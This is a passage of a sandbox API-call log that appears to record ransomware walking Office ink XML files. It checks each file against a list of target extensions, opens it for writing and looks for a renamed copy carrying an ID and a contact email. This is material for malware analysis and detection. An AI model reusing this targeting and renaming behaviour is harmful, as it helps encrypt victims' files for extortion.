(lpString1=".xlsx", lpString2="n.xml") returned -1 [0267.785] lstrlenW (lpString=".ppt") returned 4 [0267.785] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.785] lstrlenW (lpString=".zip") returned 4 [0267.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.785] lstrlenW (lpString=".rar") returned 4 [0267.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.785] lstrlenW (lpString=".bz2") returned 4 [0267.785] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.785] lstrlenW (lpString=".7z") returned 3 [0267.785] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.785] lstrlenW (lpString=".dbf") returned 4 [0267.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.785] lstrlenW (lpString=".1cd") returned 4 [0267.785] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0267.785] lstrlenW (lpString=".jpg") returned 4 [0267.785] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.785] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.785] lstrlenW (lpString="base_kor.xml") returned 12 [0267.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.786] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=488) returned 1 [0267.786] CloseHandle (hObject=0x2fc) returned 1 [0267.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0267.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.786] lstrlenW (lpString=".doc") returned 4 [0267.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.786] lstrlenW (lpString=".docx") returned 5 [0267.786] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0267.786] lstrlenW (lpString=".pdf") returned 4 [0267.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.786] lstrlenW (lpString=".xls") returned 4 [0267.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString=".xlsx") returned 5 [0267.787] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0267.787] lstrlenW (lpString=".ppt") returned 4 [0267.787] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.787] lstrlenW (lpString=".zip") returned 4 [0267.787] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.787] lstrlenW (lpString=".rar") returned 4 [0267.787] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString=".bz2") returned 4 [0267.787] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString=".7z") returned 3 [0267.787] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.787] lstrlenW (lpString=".dbf") returned 4 [0267.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.787] lstrlenW (lpString=".1cd") returned 4 [0267.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.787] lstrlenW (lpString=".jpg") returned 4 [0267.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.787] lstrlenW (lpString=".doc") returned 4 [0267.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString=".docx") returned 5 [0267.787] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0267.787] lstrlenW (lpString=".pdf") returned 4 [0267.787] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString=".xls") returned 4 [0267.787] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.787] lstrlenW (lpString=".xlsx") returned 5 [0267.788] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0267.788] lstrlenW (lpString=".ppt") returned 4 [0267.788] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.788] lstrlenW (lpString=".zip") returned 4 [0267.788] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.788] lstrlenW (lpString=".rar") returned 4 [0267.788] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.788] lstrlenW (lpString=".bz2") returned 4 [0267.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.788] lstrlenW (lpString=".7z") returned 3 [0267.788] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.788] lstrlenW (lpString=".dbf") returned 4 [0267.788] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.788] lstrlenW (lpString=".1cd") returned 4 [0267.788] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0267.788] lstrlenW (lpString=".jpg") returned 4 [0267.788] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.788] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.788] lstrlenW (lpString="base_rtl.xml") returned 12 [0267.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.788] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=617) returned 1 [0267.788] CloseHandle (hObject=0x2fc) returned 1 [0267.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0267.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.789] lstrlenW (lpString=".doc") returned 4 [0267.789] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString=".docx") returned 5 [0267.789] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0267.789] lstrlenW (lpString=".pdf") returned 4 [0267.789] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString=".xls") returned 4 [0267.789] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString=".xlsx") returned 5 [0267.789] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0267.789] lstrlenW (lpString=".ppt") returned 4 [0267.789] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.789] lstrlenW (lpString=".zip") returned 4 [0267.789] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.789] lstrlenW (lpString=".rar") returned 4 [0267.789] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString=".bz2") returned 4 [0267.789] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString=".7z") returned 3 [0267.789] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.789] lstrlenW (lpString=".dbf") returned 4 [0267.789] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.789] lstrlenW (lpString=".1cd") returned 4 [0267.789] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.789] lstrlenW (lpString=".jpg") returned 4 [0267.790] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.790] lstrlenW (lpString=".doc") returned 4 [0267.790] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString=".docx") returned 5 [0267.790] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0267.790] lstrlenW (lpString=".pdf") returned 4 [0267.790] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString=".xls") returned 4 [0267.790] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString=".xlsx") returned 5 [0267.790] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0267.790] lstrlenW (lpString=".ppt") returned 4 [0267.790] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.790] lstrlenW (lpString=".zip") returned 4 [0267.790] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.790] lstrlenW (lpString=".rar") returned 4 [0267.790] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString=".bz2") returned 4 [0267.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString=".7z") returned 3 [0267.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.790] lstrlenW (lpString=".dbf") returned 4 [0267.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.790] lstrlenW (lpString=".1cd") returned 4 [0267.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0267.790] lstrlenW (lpString=".jpg") returned 4 [0267.790] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.791] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.791] lstrlenW (lpString="ja-jp.xml") returned 9 [0267.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.792] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=16616) returned 1 [0267.792] CloseHandle (hObject=0x2fc) returned 1 [0267.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0267.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.792] lstrlenW (lpString=".doc") returned 4 [0267.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.792] lstrlenW (lpString=".docx") returned 5 [0267.792] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0267.792] lstrlenW (lpString=".pdf") returned 4 [0267.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.792] lstrlenW (lpString=".xls") returned 4 [0267.792] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.792] lstrlenW (lpString=".xlsx") returned 5 [0267.792] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0267.792] lstrlenW (lpString=".ppt") returned 4 [0267.792] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.792] lstrlenW (lpString=".zip") returned 4 [0267.792] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.792] lstrlenW (lpString=".rar") returned 4 [0267.792] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.792] lstrlenW (lpString=".bz2") returned 4 [0267.792] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.792] lstrlenW (lpString=".7z") returned 3 [0267.792] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.792] lstrlenW (lpString=".dbf") returned 4 [0267.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString=".1cd") returned 4 [0267.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString=".jpg") returned 4 [0267.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString=".doc") returned 4 [0267.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString=".docx") returned 5 [0267.793] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0267.793] lstrlenW (lpString=".pdf") returned 4 [0267.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString=".xls") returned 4 [0267.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString=".xlsx") returned 5 [0267.793] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0267.793] lstrlenW (lpString=".ppt") returned 4 [0267.793] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString=".zip") returned 4 [0267.793] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.793] lstrlenW (lpString=".rar") returned 4 [0267.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString=".bz2") returned 4 [0267.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString=".7z") returned 3 [0267.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString=".dbf") returned 4 [0267.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.793] lstrlenW (lpString=".1cd") returned 4 [0267.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0267.794] lstrlenW (lpString=".jpg") returned 4 [0267.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.794] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.794] lstrlenW (lpString="ko-kr.xml") returned 9 [0267.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.794] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=15097) returned 1 [0267.794] CloseHandle (hObject=0x2fc) returned 1 [0267.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0267.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.794] lstrlenW (lpString=".doc") returned 4 [0267.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.794] lstrlenW (lpString=".docx") returned 5 [0267.794] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0267.794] lstrlenW (lpString=".pdf") returned 4 [0267.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.794] lstrlenW (lpString=".xls") returned 4 [0267.794] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.794] lstrlenW (lpString=".xlsx") returned 5 [0267.794] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0267.794] lstrlenW (lpString=".ppt") returned 4 [0267.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.795] lstrlenW (lpString=".zip") returned 4 [0267.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.795] lstrlenW (lpString=".rar") returned 4 [0267.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString=".bz2") returned 4 [0267.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString=".7z") returned 3 [0267.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.795] lstrlenW (lpString=".dbf") returned 4 [0267.795] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.795] lstrlenW (lpString=".1cd") returned 4 [0267.795] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.795] lstrlenW (lpString=".jpg") returned 4 [0267.795] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.795] lstrlenW (lpString=".doc") returned 4 [0267.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString=".docx") returned 5 [0267.795] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0267.795] lstrlenW (lpString=".pdf") returned 4 [0267.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString=".xls") returned 4 [0267.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString=".xlsx") returned 5 [0267.795] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0267.795] lstrlenW (lpString=".ppt") returned 4 [0267.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.796] lstrlenW (lpString=".zip") returned 4 [0267.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.796] lstrlenW (lpString=".rar") returned 4 [0267.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.796] lstrlenW (lpString=".bz2") returned 4 [0267.796] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.796] lstrlenW (lpString=".7z") returned 3 [0267.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.796] lstrlenW (lpString=".dbf") returned 4 [0267.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.796] lstrlenW (lpString=".1cd") returned 4 [0267.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0267.796] lstrlenW (lpString=".jpg") returned 4 [0267.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.796] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.796] lstrlenW (lpString="zh-changjei.xml") returned 15 [0267.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 